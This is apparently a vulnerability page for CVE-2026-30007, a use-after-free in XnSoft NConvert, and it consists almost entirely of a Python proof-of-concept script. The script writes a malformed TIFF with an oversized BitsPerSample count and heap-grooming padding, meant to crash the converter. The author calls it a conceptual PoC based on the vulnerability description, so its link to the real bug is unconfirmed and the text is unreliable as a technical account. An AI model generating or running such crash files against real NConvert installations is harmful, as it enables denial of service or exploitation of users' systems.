CVE-2026-30007：XnSoft NConvert释放后重用漏洞

import os import struct # PoC to generate a malformed TIFF file that triggers Use-After-Free # This is a conceptual PoC based on the vulnerability description. def generate_poc_tiff(filename): with open(filename, 'wb') as f: # TIFF Header (Little Endian) # Byte order: II (0x4949) f.write(struct.pack('<H', 0x4949)) # Version: 42 f.write(struct.pack('<H', 0x002A)) # Offset to first IFD (Image File Directory) # Pointing to offset 8 for simplicity f.write(struct.pack('<I', 8)) # Malformed IFD to trigger parsing logic errors # Number of directory entries f.write(struct.pack('<H', 1)) # Directory Entry Tag (Example: BitsPerSample) f.write(struct.pack('<H', 0x0102)) # Type (SHORT) f.write(struct.pack('<H', 0x0003)) # Count (Large number to potentially cause overflow or bad allocation) f.write(struct.pack('<I', 0xFFFFFFFF)) # Value/Offset f.write(struct.pack('<I', 0x00000000)) # Next IFD offset (0 = end of chain) f.write(struct.pack('<I', 0x00000000)) # Padding junk data often helps in heap grooming f.write(b'A' * 100) if __name__ == "__main__": poc_file = "crash_poc.tiff" generate_poc_tiff(poc_file) # Execute NConvert with the PoC file (Path needs to be adjusted) # os.system(f"nconvert {poc_file}") print(f"PoC file generated: {poc_file}")